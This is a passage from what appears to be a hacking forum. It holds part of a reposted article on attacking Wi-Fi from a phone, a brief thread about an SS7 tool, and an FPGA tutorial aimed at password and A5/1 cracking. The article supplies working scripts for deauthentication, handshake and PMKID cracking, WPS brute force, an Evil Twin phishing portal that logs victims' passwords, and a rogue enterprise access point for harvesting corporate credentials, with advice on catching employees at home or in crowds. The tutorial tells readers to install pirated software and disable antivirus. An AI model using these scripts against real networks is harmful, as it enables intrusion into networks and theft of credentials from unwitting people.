/opt/giskismet/giskismet -q "SELECT * FROM wireless" -o $dumpfile.kml && mv $dumpfile.kml /sdcard/

Скрипт содержит запуск всего, что может быть полезно при разведке беспроводных устройств. Программа airodump-ng крайне информативна, ее лог содержит много разнообразных данных, но вывод на консоль текущей информации не очень удобен на телефоне, особенно в присутствии множества сетей Wi-Fi. Утилита hcxdumptool имеет вертикальный waterfall-интерфейс, кратко и емко описывающий все изменения в радиоэфире, поэтому ее вывод больше подходит для просмотра текущей информации.

Параллельно с airodump-ng и hcxdumptool запускается программа Kismet. Помимо того что она в фоновом режиме также собирает информацию для последующего анализа, ее веб‑интерфейс может быть использован для удобного просмотра текущих данных.

Веб-интерфейс на телефоне немного удобнее консоли
После завершения сбора информации атакующему предстоит проанализировать кучу дампов и логов, содержащих сведения об услышанных беспроводных устройствах в самых разных форматах:

Скрипт recon.sh на этом не заканчивает свою работу. С помощью airgraph-ng по услышанному трафику он формирует два графа связей — точек доступа с клиентами и клиентов с их Probe-запросами. И для удобства эти графы могут быть скопированы в корень /sdcard/, чтобы их можно было посмотреть в самой обычной галерее телефона, даже не отходя от объектов атак.

Наконец, утилита giskismet, используя логи airodump-ng, сопоставляет все обнаруженные точки доступа на карте.

Триангуляция точек доступа по сигналу — вещь не сильно точная, поэтому airodump-ng в качестве геолокации показывает место, где впервые была обнаружена точка доступа. Зато программа Kismet выполняет уже полноценную триангуляцию на основе всех перемещений относительно каждой точки доступа. Причем это справедливо и в отношении клиентских устройств (включая Bluetooth и беспроводные мышки и клавиатуры), которые также могут быть объектами будущих атак. Kismet сохраняет еще и список всех слышимых беспроводных устройств в каждой точке пути, что может быть использовано для составления тепловой карты сигнала. Все это можно экспортировать в интерактивную HTML-страницу поверх карт, как продемонстрировано в статье «Мегадрон. Строим хакерский беспилотник — дальнобойный и с защитой от глушилок».

В итоге подобная разведка сводится к простой прогулке вдоль периметра объекта, когда у хакера в кармане лежит телефон с запущенным скриптом. А затем можно проанализировать данные, не отходя от объектов атак, — на телефоне. После чего атакующий может вернуться в те или иные места уже с заранее приготовленными сценариями атак, которые можно реализовать с помощью Pineapple или телефона.

Разведка призвана показать изъяны в системе защиты, а значит, время переходить к атакам.

Атаки на точки доступа​

Существует несколько атак, позволяющих получить общий ключ для доступа к беспроводной сети WPA PSK. Этот тип беспроводных сетей встречается чаще всего.

Перехват Handshake (deauth)​

Самая известная из атак — перехват WPA handshake с его последующим брутфорсом. WPA handshake прилетает от клиента во втором пакете «рукопожатия» (EAPOL M2). Задача атакующего — набрать такие handshake, используя подвижность и неприметность телефона. После чего набранные handshake могут быть подвергнуты брутфорсу на другом, более мощном, чем телефон, оборудовании. Чтобы атакующему не приходилось корректировать команды каждый раз под новые беспроводные сети, проще запустить автоматическую деаутентификацию всего и вся одной командой, с возможностью указать частотные каналы:

wifi/wpapsk/deauth.sh​

Bash:Copy to clipboard

#!/bin/bash
[[ $# -ge 1 ]] && channels="$1" || channels='1,6,11'
dumpfile=out-$(date +'%H:%M:%S_%d.%m.%Y')
tmux new-session -d -s deauth "sudo hcxdumptool -i mon0 --enable_status=1 -o $dumpfile.pcapng --silent --passive"
tmux split-window -v -t deauth "sudo mdk4 mon0 d -c $channels"
tmux a -t deauth
tcpdump -r $dumpfile.pcapng -nn -w $dumpfile.pcap
rm -f $dumpfile.pcapng

Утилита hcxdumptool работает в пассивном режиме, только захватывая пакеты. Также она оповещает об услышанных пакетах аутентификации (EAPOL), в которых как раз содержится handshake. За деаутентификацию в этом случае отвечает mdk4. Ниже приведен наглядный пример атаки с телефона, выполненный на стенде.

Отключение клиента от точки доступа и перехват его handshake
Так как атакующий имеет экран и клавиатуру, он может попробовать подобрать пароль прямо на телефоне. Поскольку требуется подбирать пароли только к правильным хешам, нужно отбросить все половинчатые handshake. Иными словами, брутфорсить целесообразно только последовательности EAPOL M1 + M2 + M3, потому что на неправильный пароль точка доступа M3-подтверждение уже не отправляет:

wifi/wpapsk/brute-wpapsk.sh​

Bash:Copy to clipboard

#!/bin/bash
tmp="m2m3-$RANDOM"
for pcap in *.pcap
do
  hcxpcapngtool "$pcap" -o "$tmp.txt" --all
done
hcxhashtool -i "$tmp.txt" --authorized -o "valid-$tmp.txt"
hcxhash2cap --pmkid-eapol="valid-$tmp.txt" -c "$tmp.pcap"
aircrack-ng -w /opt/wordlists/top100k.txt "$tmp.pcap" && read ok
rm "$tmp.txt"; rm "valid-$tmp.txt"; rm "$tmp.pcap"

Подбор пароля к точке доступа по WPA handshake
Cкрипт генерирует новые PCAP-файлы, содержащие только корректные handshakes. Обрати внимание, что брутфорс выполняется простым aircrack-ng, так как его на телефоне собрать проще, чем john и тем более hashcat. Именно по этой причине для хранения хешей используется наиболее универсальный формат PCAP.

Сбор handshake часто не требует много времени, а все, что нужно атакующему, — это лишь подойти поближе к точке доступа. Поэтому в большинстве случаев такую атаку целесообразнее провести с телефона. В тех же ситуациях, когда клиенты появляются редко, можно задействовать Pineapple, положив его куда‑нибудь в укромное место на длительное время.

Захват PMKID (auth)​

Подобрать пароль к сети WPA PSK можно не только перехватом handshake. Весьма неплохой альтернативой может быть захват похожего хеша, называемого PMKID. PMKID используется, как правило, корпоративными роутерами для бесшовного переключения между множествами точек доступа с одинаковым именем. Передается PMKID в первом «рукопожатии» (EAPOL M1). Такой пакет может быть получен просто при попытке аутентифицироваться на целевой точке доступа еще до ввода пароля (EAPOL M2).

Выходит, эта атака проще по реализации, ведь она не требует клиента. Однако далеко не каждая точка доступа ей подвержена.

От атакующего требуется набрать PMKID хешей как можно с большего количества беспроводных точек доступа. Для этого можно использовать следующий скрипт, который автоматически инициирует аутентификацию к каждой новой точке доступа:

wifi/wpapsk/auth.sh​

Bash:Copy to clipboard

#!/bin/bash
dumpfile="out-$(date +'%H:%M:%S_%d.%m.%Y')"
sudo hcxdumptool -i mon0 -s 4 -t 2 --enable_status=7 -o $dumpfile.pcapng --disable_client_attacks --disable_deauthentication
tcpdump -r $dumpfile.pcapng -nn -w $dumpfile.pcap
rm -f $dumpfile.pcapng
ls -lh $dumpfile.pcap

Для совершения такой атаки не нужны особые условия, требуются только уязвимые точки доступа. Поскольку в этом случае не выполняется деаутентификация, атака полностью бесшумная, на стенде она может выглядеть совсем безобидно.

Захват PMKID с подверженных точек доступа
Программа для подбора пароля aircrack-ng при наличии хешей PMKID (EAPOL M1) и WPA handshake (EAPOL M2) отдает предпочтение последнему, а значит, может подбирать захваченный неправильный пароль. Чтобы брутить именно набранные PMKID, нужно оставить только handshake-четвертинки, отбросив EAPOL M2:

wifi/wpapsk/brute-pmkid.sh​

Bash:Copy to clipboard

#!/bin/bash
tmp="m1-$RANDOM"
for pcap in *.pcap
do
  hcxpcapngtool "$pcap" --pmkid="$tmp.txt"
done
hcxhash2cap --pmkid="$tmp.txt" -c "$tmp.pcap"
aircrack-ng -w /opt/wordlists/top100k.txt "$tmp.pcap" && read ok
rm "$tmp.txt"; rm "$tmp.pcap"

Подбор пароля к точке доступа по PMKID
Скорость брутфорса PMKID схожа с WPA handshake. Атака на PMKID работает далеко не с каждой точкой доступа, поэтому атаковать целесообразнее в движении, обнаруживая все новые и новые цели.

Атака на WPS​

Старая, но еще актуальная атака на WPS — тоже must have для хакера. Уязвимость заключается в возможности подобрать по частям 8-значный PIN-код, который используется для получения ключа WPA PSK.

У атаки есть несколько вариантов подбора:

Для автоматизации можно последовательно пробовать разные техники подбора:

wifi/wpapsk/wps.sh​

Bash:Copy to clipboard

#!/bin/bash
[[ $# -ge 1 ]] && AP="$1" || {
  sudo wash -i mon0 -s
  read -p 'BSSID: ' AP
}
sudo reaver -i mon0 -b "$AP" -F -w -N -d 2 -l 5 -t 20 -vv -K # Pixie Dust
sudo reaver -i mon0 -b "$AP" -F -w -N -d 2 -l 5 -t 20 -vv # Full

Скрипт сначала покажет все слышимые точки доступа, на которых активен WPS.

Запуск атаки на WPS точки доступа
После ввода BSSID точки доступа идет попытка более быстрой атаки Pixie Dust. В случае неудачи запустится классический длительный перебор PIN-кода. На рисунке ниже показано, как атака может выглядеть на стенде с быстрой эксплуатируемой Pixie Dust.

Телефон успешно атаковал по WPS точку доступа
Атаке на WPS может быть подвержен как корпоративный, так и домашний роутер и даже принтер. С помощью этой атаки можно максимум за 11 000 попыток подобрать цифровой PIN-код, который позволит подключиться к беспроводной сети аналогично использованию PSK-ключа. Если уязвимость Pixie Dust имеется, PIN-код будет подобран за несколько секунд.

Атаковать быструю Pixie Dust целесообразно c телефона, двигаясь и охватывая множество целей. Но эксплуатация атаки полным перебором кодов WPS PIN может затянуться на много часов. Следовательно, для этого оптимально использовать автономный Pineapple, чтобы часами не стоять возле атакуемой точки доступа.

Онлайн-брутфорс​

Но что, если у точки доступа совсем нет клиентов? Более чем в половине случаев точки доступа могут не иметь ни клиентов, ни подверженного перебору WPS и тем более пригодного к брутфорсу PMKID. Однако и такие устройства могут быть легко атакованы.

Подбор паролей ко всем слышимым точкам доступа
Подробности этой атаки вынесены в отдельную статью — «Брут на ходу. Атакуем беспроводные сети простым и эффективным способом».

Атаки на клиенты​

Все рассмотренные выше атаки объединяет то, что они направлены на точку доступа. Теперь предлагаю рассмотреть другую сторону атак — на клиенты.

RoqueAP — это целое семейство атак на Wi-Fi-клиенты через вредоносные точки доступа, к которым у пользователей или их устройств есть доверие. Ведь без доверия взаимодействовать с ними не получится, так как именно клиенты инициируют подключение. Глобально такие атаки можно разделить на две группы:

Evil Twin​

Эта атака наглядно продемонстрирована в статье про Pineapple. Атакующий может провести ее с телефона даже на встроенном Wi-Fi-адаптере, так как для нее не нужен режим монитора, а поддержка режима точки доступа есть почти в каждом современном телефоне.

Следующий скрипт запускает необходимые компоненты атаки — точку доступа с привлекательным именем сети, DHCP- и DNS-серверы, а также веб‑сервер, настойчиво запрашивающий у пользователя те или иные данные:

wifi/roque_ap/eviltwin/run.sh​

Bash:Copy to clipboard

#!/bin/bash
[[ $# -ge 1 ]] && essid="$1" || read -p 'essid: ' essid
[[ $# -ge 2 ]] && wwwroot="$2" || wwwroot='pages/simple'
sudo ifconfig wlan0 up
sudo ip a add 11.0.0.1/24 dev wlan0
sudo ip r add 11.0.0.0/24 dev wlan0 table 97
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-ports 80
tmux new-session -d -s eviltwin "./hostapd.sh '$essid' ''"
tmux split-window -v -t eviltwin "./dnsmasq.sh"
tmux split-window -v -t eviltwin "sudo php -S 11.0.0.1:80 captive.php '$wwwroot'"
tmux a -t eviltwin
sudo ifconfig wlan0 0
sudo iptables -t nat -D PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-ports 80
echo 'done'

Скрипт после запуска запрашивает имя беспроводной сети и шаблон веб‑страницы для Captive-портала. После чего он запускает три компонента, разделив экран на три области.

Первая треть экрана — это реализация самой точки доступа:

wifi/roque_ap/eviltwin/hostapd.sh​

Bash:Copy to clipboard

#!/bin/bash
[[ $# -ge 1 ]] && essid="$1" || read -p 'essid: ' essid
[[ $# -ge 2 ]] && password="$2" || read -p 'password: ' password
if [ -z "$password" ]; then
  config='ap_opn.conf'
else
  config='ap_wpa.conf'
fi
sudo rm /tmp/$config
cp $config /tmp/$config
sed -i "s/__ESSID__/$essid/g" /tmp/$config
sed -i "s/__PASS__/$password/g" /tmp/$config
sudo hostapd /tmp/$config
wifi/roque_ap/eviltwin/ap_opn.conf
interface=wlan0
driver=nl80211
ssid=__ESSID__
hw_mode=g
channel=1
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0

Вторая треть экрана — это DHCP- и DNS-серверы, которые показывают атакующему, что клиент подключился к его точке доступа и получил IP-адрес. Каждая попытка обращения клиента к тому или иному ресурсу по DNS-имени приводит его на IP- адрес точки доступа:

wifi/roque_ap/eviltwin/dnsmasq.sh​

Bash:Copy to clipboard

#!/bin/bash
sudo dnsmasq --conf-file=dnsmasq.conf -d
wifi/roque_ap/eviltwin/dnsmasq.conf
domain=fake.net
interface=wlan0
dhcp-range=11.0.0.10,11.0.0.20,24h
dhcp-option=1,255.255.255.0
dhcp-option=3,11.0.0.1
dhcp-option=6,11.0.0.1
dhcp-option=121,0.0.0.0/1,11.0.0.1,128.0.0.0/1,11.0.0.1
dhcp-option=249,0.0.0.0/1,11.0.0.1,128.0.0.0/1,11.0.0.1
local-ttl=30
address=/#/11.0.0.1

Получение клиентом IP-адреса можно считать полноценным подключением к точке доступа.

Наконец, третья область экрана — это собственно Captive-портал, на который заворачивается весь веб‑трафик от клиента. Он показывает все обращения клиента к веб‑ресурсам и попытки ввода пароля в фишинговую веб‑форму:

wifi/roque_ap/eviltwin/captive.php​

PHP:Copy to clipboard

<?php
$root = str_getcsv(file_get_contents('/proc/self/cmdline'), "\0")[4];
$script = str_replace('..', '', urldecode($_SERVER['SCRIPT_NAME'])); // safety
header('HTTP/1.1 200 OK');
header('Content-type: '); // disable Content-Type
if ( is_file($root . $script) )
    echo file_get_contents($root . $script);
else
    echo file_get_contents($root . "/index.html");
foreach($_POST as $par=>$val)
    error_log( "\x1b[31m" . "$par: $val" . "\x1b[0m" );
?>

Лендинг страницы, которую видит жертва, может быть выбран уже под конкретную ситуацию. Злоумышленник может сверстать его самостоятельно, но проще скопировать дизайн страницы с помощью браузера: Ctrl-S → «Веб‑страница полностью». Такая копия полностью автономна — все скрипты, стили и картинки загружаются без интернета. После чего папку с сохраненными файлами можно положить на телефон в wifi/roque_ap/eviltwin/pages/new_page/.

Код captive.php реализован так, чтобы можно было подключить любую предварительно клонированную страницу с минимумом правок. Как правило, компоненты веб‑страницы загружаются методом GET, а введенные данные с веб‑форм уходят методом POST. Поэтому скрипт подсвечивает красным именно POST- параметры. В нижней трети экрана можно увидеть введенные пользователем данные.

Атака Evil Twin и захват пароля на стенде
На иллюстрации показаны простейшая страница Captive-портала и результат ввода данных, который тут же отражается в телефоне атакующего. При этом видны и момент подключения к подставной точке доступа, и получение IP-адреса от нее. Это тоже может быть полезно для оценки конверсии жертв атак Evil Twin: сколько подключилось, а сколько ввело данные. Такая информация может быть полезна при пентестах для оценки уровня осведомленности сотрудников. А вот так эта атака смотрелась бы в реальных обстоятельствах.

Атака Evil Twin и захват пароля в действии
Творческий подход в претексте играет ключевую роль. Не стоит переоценивать скорость этой атаки. Клиент далеко не сразу может подключиться к подставной точке доступа и уж тем более ввести какой‑то пароль. Эта атака может проходить часами или даже днями. В связи с чем ее целесообразнее проводить с помощью автономного Pineapple. Но иногда, когда клиенты слишком рассредоточены по площади, удобнее совершать ее с телефона.

EAP​

Сети WPA Enterprise часто встречаются на предприятиях. Эта атака подробно описана в соответствующем разделе статьи о Pineapple и в материале «Мегадрон. Строим хакерский беспилотник — дальнобойный и с защитой от глушилок». В этой статье продемонстрирована возможность ее реализации с телефона.

Приведенный ниже скрипт запускает сеть WPA Enterprise с указанным именем на немного пропатченной версии hostapd-wpe:

wifi/roque_ap/eap/run.sh​

Bash:Copy to clipboard

#!/bin/bash
[[ $# -ge 1 ]] && essid="$1" || read -p 'essid: ' essid
EAP='wlan0'
MON='mon0' #opt
cp /etc/hostapd-wpe/hostapd-wpe.conf /tmp/hostapd-wpe.conf
sed -i "s/interface=.*/interface=$EAP/g" /tmp/hostapd-wpe.conf
sed -i "s/ssid=.*/ssid=$essid/g" /tmp/hostapd-wpe.conf
echo "[+] attacking $essid"
#sudo timeout $attack_time mdk4 $MON d -c 1,6,11 &
sudo hostapd-eaphammer -x /tmp/hostapd-wpe.conf

Чтобы привлечь жертвы, можно и глушить сигналы легитимных точек доступа.

Эта атака чрезвычайно опасна, но менее известна, чем предыдущие. Еще большую опасность атаке придает простота исполнения — ее можно реализовать на встроенном Wi-Fi-адаптере телефона.
Стоит обратить особое внимание, что в таком случае учетные данные отправляет именно устройство, а не пользователь! Следовательно, телефон может спокойно лежать в кармане у сотрудника компании, когда неподалеку от него находится хакер.

Чтобы не соревноваться с сигналами корпоративных точек доступа, хакер может поджидать цели атак на выходе из офиса — там, где сотрудники, спешащие домой, еще не успели отключить Wi-Fi. Устройства таких сотрудников отправляют свои пароли злоумышленнику в виде хеша (WPA Enterprise MSCHAP) или открытого текста (WPA Enterprise GTC).
Атака поддельной Enterprise-сети и захват пароля на объекте
Так как атакующий взаимодействует непосредственно с клиентским устройством (не пользователем), атака является, что называется, zero click, ее скорость достаточно высокая, так что ее вполне можно провести с телефона или даже дрона. При этом злоумышленник абсолютно никак не выделяется на фоне окружающих, ведь в руках у него обычный телефон.

А что, если атакующий направится в час пик в людное место? Мимо него за короткий промежуток времени могут пройти десятки тысяч людей со своими беспроводными устройствами. Вполне вероятно, что подобная «рыбалка» зацепит чей‑то корпоративный пароль.

Подверженные атаке клиентские устройства могут быть максимально распределены по городской территории, и атакующему необязательно быть где‑то поблизости от объекта проникновения. Людное место, такое как торговые центры, где достаточно большая плотность и высокая вероятность встретить сотрудников интересующей компании, могут быть отличным местом, чтобы собрать нужные учетные данные.

Вообще, злоумышленник для проведения такой атаки может вовсе не появляться возле объекта проникновения, даже на этапе разведки для получения имен беспроводных сетей. Имя сети может быть взято из специализированных публичных источников (OSINT), собирающих имена сетей с привязками к географическим координатам. А цели атак — сотрудники — могут быть атакованы даже у себя дома, их адреса тоже можно выяснить благодаря многочисленным утечкам в интернете.

Клиентские беспроводные устройства, подключенные к домашним Wi-Fi-сетям и никак не ожидающие появления корпоративной беспроводной сети, также бессознательно могут отправить учетные данные хакеру, стоящему за дверью, в момент, когда его сигнал окажется чуть сильнее точки доступа.
Утечка корпоративной учетки у двери квартиры на стенде
Так что такая атака может произойти где‑то далеко от охраняемого физического периметра и остаться полностью незамеченной.

Karma​

Karma позволяет атаковать уже непосредственно сами устройства, причем даже автономные, за которыми не работает пользователь. Это может быть заблокированный компьютер, телефон, лежащий в кармане, или даже IP-камера, висящая на периметре. Детали этой атаки описаны в статье «KARMAгеддон. Атакуем клиентские устройства с помощью Karma».

К сожалению, формат статьи имеет свои ограничения на объем и здесь я вынужден поставить точку. Но лишь в первой части.

Мы обсудили самые очевидные атаки, которые можно провести с телефона. Во второй же части статьи будет рассмотрен еще ряд атак, уже более экзотических, но отнюдь не менее опасных.

Автор @s0i37
Lead cybersecurity analyst at USSC t.me/s0i37_channel
источник xakep.ru

Инструмент эмулирующий SS7
ID: 676535aeb4103b69df3735da
Thread ID: 57075
Created: 2021-09-26T01:18:39+0000
Last Post: 2023-06-05T11:42:27+0000
Author: OLYMP
Replies: 18 Views: 2K

Привет форумчанам!

Изучаю тему Osmocombb , наткнулся на такой инструмент, называется AntichristOneSS7.

Кто-нибудь пользовался им?

FPGA для начинающих
ID: 676535aeb4103b69df3735dd
Thread ID: 87632
Created: 2023-05-10T00:27:47+0000
Last Post: 2023-05-28T15:52:36+0000
Author: gliderexpert
Replies: 24 Views: 2K

В этой теме хочу разместить цикл статей по началу работы с семейством ПЛИС (FPGA) фирмы Xilinx.
Начиная с установки среды разработки и заканчивая созданием простенького генератора хешей для взлома криптоалгоритма A5/1 используемого в GSM. Коснемся вопроса распараллеливания вычислений, отладки, работы с программаторами и методами загрузки прошивок.
К сожалению, некоторые материалы буду писать не в строгой идеологической последовательности, т.к. не всегда есть возможность "выдернуть" какую-то железку или вирт.машину из основных проектов, но в первом сообщении (этом) позже появится список ссылок и оглавление, где материал можно будет повторить- почитать уже более последовательно.

Так же, здесь будет больше практики, нежели чем теории. Основной упор - именно на "хакерское" применение ПЛИС, т.е. для использования их в качестве сопроцессоров для ускорения взломов паролей и т.д.

Часть 1. Установка среды разработки (IDE). Рабочее место ПЛИСовода.

Для начала - давайте разберем один момент.

1.pngУ Xilinx'а, все ПЛИСы имеют 2 идентификатора - это название и серия.
Основные названия - Spartan, Artix, Virtex, Kintex
Серии - 3, 4, 5, 6, 7 и так далее. Отдельно еще есть линейка UltraScale.
Каждой комбинации, например - Spartan 3, соответствует определенный "размер" чипа, количество логических ячеек. Например, Spartan3-100, содержит в себе 100 000 логических элементов. Virtex4-75 - 75000 лог ячеек, но при этом он сам по себе быстрее чем Spartan и логические элементы (LUT'ы) у него устроены более сложно, что позволяет запускать более сложный софт, но занимать при этом меньше емкости чипа. Так же чипы бывают в корпусах с разным количеством ножек, с наличием или отсутствием PowerPC ядер и так далее.
Прошу заметить, что тут я сильно упрощаю - так как обещал минимум теории.

2.pngНа первое время, нужно уяснить - что вся линейка чипов делится на "до СЕДЬМОЙ" серии, и "ПОСЛЕ седьмой" серии.
Это принципиально важный момент, так как микропрограммы чипов например Virtex3, Kintex 5, Virtex 7 (т.е. все что до семерки, включая ее) - разрабатываются в устаревшем IDE Xilinx ISE:
ise.png

3.png
4.png

А все что выше семерки (тоже включая ее) - в софте Xilinx Vivado:
vivado.png

ПЛИС - довольно дорогие вещи, и работать с серией выше 7й, на этом форуме наверно может разве что LockBitSupp )
Virtex 7 стоит приблизительно 4000$, поэтому давайте остановимся на линейке FPGA до 7 серии включительно.

Как Вы уже поняли - использовать для разработки микропрограмм, мы будем Xilinx ISE. Самое последнее обновление данного IDE, датируется версией 14.7 - более новых версий нет и не будет, т.к. Xilinx имеет довольно жесткую политику - пересаживает всех пользователей на новый Vivado, заставляя при этом отказываться от использования старых чипов (и использовать новые более дорогие).

Я являюсь сторонником свободно распространяемого программного обеспечения, поэтому мы не станем покупать оригинальный IDE за 3500$, а просто скачаем его взломанную версию с торрентов ) .

Качаем проверенный мною (~~вся малварь работает как положено, отстук норм~~) торрент с дистрибутивом:
magnet:?xt=urn:btih:45be5fb83692627473a331fa13d6afbef84b8b5d&dn=ISE%20Design%20Suite&tr=http%3a%2f%2fbt2.t-ru.org%2fann%3fmagnet

torrent.png

Из архива извлекаем файлы Xilinx ISE Design Suite_14.7_1015_1.iso и xilinx_ise.lic , сам же архив ставим на раздачу следующим поколениям любителей открытого ПО.

linux.pngМы не ищем легких путей, и ставить будем IDE на Линукс! Почему так? Ну, во-первых - Linux Rulez, windows must die!
Во вторых - в работе с ПЛИС есть очень неприятный момент - это длительность "компиляции" прошивки. Т.е. вот Вы написали код, но прежде чем его загрузить в чип при помощи программатора - нужно собрать его в бинарник. Этот процесс длительный. ОЧЕНЬ длительный. Один из моих проектов, где используются 8 штук 7х Virtex'ов, компилируется 4 (!!!) суток на компьютере с Ryzen 7950x.
Я провел сравнение скорости и стабильности работы ISE под Win7 и Debian, разница - 10% увеличения скорости компиляции на линуксе. Это очень существенная величина, т.к. при отладке - иногда приходится пересобирать код десятки раз, и эти 10% в итоге выливаются в дни и недели сэкономленного времени.

Используем Debian 11, X-сервер XFCE.
deb.png
Важный момент - софт придется ставить на основную машину, из под virtualbox или vmware программатор не заработает - уже неоднократно проверено.
Некоторые команды могут выполняться с ошибкой, т.к. пишу по памяти - но общий смысл такой. Если что-то не получается, пишите, будем исправлять и дорабатывать мануал вместе.
Монтируем Xilinx ISE Design Suite_14.7_1015_1.iso:
sudo mount -o loop Xilinx\ ISE\ Design\ Suite_14.7_1015_1.iso /mnt/iso
cd /mnt/iso

Запускаем ./xsetup(без использования привелегий суперпользователя, sudo)

Открывается GUI инсталлятора:
install1.png
Отключаем антивирус. Жмем Next >
install2.png

Ставим галочки и соглашаемся с тем что Xilinx оформит на вас 2 кредита.

install3.png

И еще одну галочку - разрешение на просмотр содержимого вашего HDD.

install4.png

Тут нужно выбрать Suite System Edition - это наиболее полная установка, включающая в себя все платные модули и IP ядра.

install6.png

**ОБЯЗАТЕЛЬНО снимаем галочку "Install Cable Drivers". ^^^^ **Иначе страшные глюки ждут вас )

install5.png

Путь установки - выбираем
/home/user/Xilinx
где "user" - соответственно ваша домашняя папка

install7.png
Процесс установки довольно долгий, занимает 10-15 минут.

После завершения установки, открываем файл
/home/user/.bashrc
и в самый конец добавляем строки
export PATH=$PATH:/home/user/Xilinx/14.7/ISE_DS/ISE/bin/lin64/
export PATH=$PATH:/home/user/Xilinx/14.7/ISE_DS/common/bin/lin64/
export XIL_IMPACT_USE_LIBUSB=1

Перезагружаемся.

Находим на локальном диске библиотеку libQt_Network.so . Копируем ее в каталоги. Можно создать символьные ссылки, но лучше скопировать.
/usr/lib/x86_64-linux-gnu/
/home/user/Xilinx/14.7/ISE_DS/ISE/lib/lin/
/home/user/Xilinx/14.7/ISE_DS/ISE/lib/lin64/
/home/user/Xilinx/14.7/ISE_DS/common/bin/lin64/

переходим в папку
cd /usr/lib/x86_64-linux-gnu/
Выполняем в ней команду
/sbin/ldconfig

Запускаем Xilinx License manager командой
**xlcm

lic1.png

Открываем вкладку Manage Licenses, нажимаем Load License, добавляем файл лицензии скачанный из торрента - xilinx_ise.lic**

Проверяем, что ISE запускается командой из терминала
ise
При запуске не должен ругаться на лицензию.
Окно будет выглядеть примерно так:
ise1.png

Теперь немного о программаторе. Для прошивки и отладки программного обеспечения в режиме JTAG, используются специальные адаптеры, подключаемые к ПЛИСу через 6и проводной интерфейс, а к компьютеру - через привычный USB.
У Xilinx'а есть несколько разновидностей устройства, все они называются Xilinx Platform Cable. Коробочка бывает белого цвета или красного.
Покупать нужно красный кабель, так как он USB 2.0, что существенно ускоряет процесс загрузки прошивок в ПЛИС. Китайский - категорически не советую, лучше использовать оригинальный Xilinx, он не очень дорогой.

Пример ПРАВИЛЬНОГО адаптера. Покупать нужно такой:
jtag1.png

Примеры тех, которые ПОКУПАТЬ НЕЛЬЗЯ :

jtag2.pngjtag3.png

Ставим драйвера под него.
*sudo apt-get install fxload libusb-1.0-0 libusb-1.0-0-dev
cd /home/user/Xilinx/14.7/ISE_DS/ISE/bin/lin64/
sudo cp .hex /usr/share
sudo cp xusbdfwu.rules /etc/udev/rules.d
sudo sed -i -e 's/TEMPNODE/tempnode/' -e 's/SYSFS/ATTRS/g' -e 's/BUS/SUBSYSTEMS/' /etc/udev/rules.d/xusbdfwu.rules

Перезагружаемся

Подключаем Platform Cable в USB. Должна загореться красная индикаторная лампочка - это значит что драйвера встали нормально и система увидела программатор.
Если лампочка не загорелась - все пропало.

ISE все еще не сможет работать с адаптером, поэтому:
Находим файл libusb-0.1.so.4.4.4 (если нет то нужно установить старый libusb 0.1.4 )
Копируем этот файл, переименовав его в libusb.so в папки
/home/user/Xilinx/ISE_DS/ISE/lib/lin/
и
/home/user/Xilinx/ISE_DS/ISE/lib/lin64/

Убедившись что программатор подключен к USB, на нем горит красная лампочка - запускаем софт для загрузки прошивок, выполнив в консоле команду
impact
В процессе запуска производим наблюдение за состоянием светоизлучающего диода на корпусе программатора.
Диод должен мигнуть, после чего impact в окне с отладочной информацией напишет что то типа "voltage error". Это означает что он обнаружил программатор, но не определяет наличие напряжения питания на прошиваемой ПЛИСине, что логично - она же не подключена, интерфейс программатора висит в воздухе и питания на нем нет.

impact.png

Если вы видите ошибку "reference voltage has not been detected" - программатор заработал!

Ошибка драйвера windrvr6 является нормой - impact не может найти древние виндовые драйвера для программатора на LPT порт, как его отучить от этой дурной затеи - не знаю. Короче, ошибка ни на что не влияет, но имеет место быть:
err.png
Можно зайти в настройки (правая кнопка мыши - "cable setup...") и перепроверить, должен быть включен режим Platform Cable USB II:
setup.png

Работа с IP ядрами. IP - это не Internet Protocol, забудьте эту чушь - кто вам такое вообще сказал?
IP = Intellectual Property, интеллектуальная собственность. Кусочки чужого скомпилированного кода, которые Вы будете покупать за тысячи долларов и использовать в своих проектах, экономя при этом время на разработку.
Для работы с IP-ядрами используется модуль ISE COREGEN, который конечно же просто так под линуксом "не взлетит".
После установки он не может создать новые IP ядра - при нажатии кнопки generate выдает сообщение Unable to evaluate Tcl file. Данная проблема связана с тем что в ISE зачем-то есть 2 версии JAVA, старая и новая. Поэтому:
в папке ISE_DS/ISE/
mv java java.old
ln -sf java6 java

это решает проблему работы генератора ip ядер COREGEN.
Некоторые ядра такие как Clock Generator (очень часто используются) имеют свой GUI для их конфигурации, требуют английскую локаль. Но если ее включить глобально для всей системы, то в debian 11 перестает работать русская раскладка клавиатуры (слетают шрифты в консолях). Честно сказать я не разбирался в чем причина проблемы, и сделал проще. Создаем для ISE такой ярлык на рабочем столе:
[Desktop Entry]
Type=Application
Name=Xilinx ISE
Exec=env LC_ALL="en_US.UTF8" /home/user/Xilinx/14.7/ISE_DS/ISE/bin/lin64/ise
Icon=/home/user/Xilinx/14.7/ISE_DS/ISE/data/images/pn-ise.png
Terminal=false
Categories=Development;Engineering;Electronics;
Keywords=embedded electronics;electronics;fpga;xilinx;ise;spartan;virtex;

Запускать ise нужно при помощи этого ярлыка, а COREGEN запускать уже изнутри ISE через соответствующее меню.

Следующая особенность - при использовании модулей встраиваемых процессоров MicroBlaze, gui в программе Xilinx Platform Studio отрисовывается не полностью. Поэтому в /home/user/.bashrc добавляем строки
export PATH=$PATH:/home/user/Xilinx/14.7/ISE_DS/EDK/bin/lin64/
source /home/user/Xilinx/14.7/ISE_DS/settings64.sh

дальше удаляем старые библиотеки с которыми XPS работать не умеет:
mkdir Xilinx/14.7/ISE_DS/ISE/lib/lin64/bak
mv Xilinx/14.7/ISE_DS/ISE/lib/lin64/libstdc++
/opt/Xilinx/14.7/ISE_DS/ISE/lib/lin64/bak/
sudo mkdir Xilinx/14.7/ISE_DS/common/lib/lin64/bak
sudo mv Xilinx/14.7/ISE_DS/common/lib/lin64/libstdc++
/opt/Xilinx/14.7/ISE_DS/common/lib/lin64/bak/**

Теперь edk/xps работают. Но при попытке скомпилировать прошивку МикроБлейза, вы испытаете эпик фейл - дело в том что среда разработки под MicroBlaze, это урезанный и модицифированный Eclipse, использующие старые библиотеки имеющие 32-х битную x86 архитектуру. Разумеется, на x64 оно не работает, поэтому
sudo apt-get install --yes lib32z1 lib32stdc++6

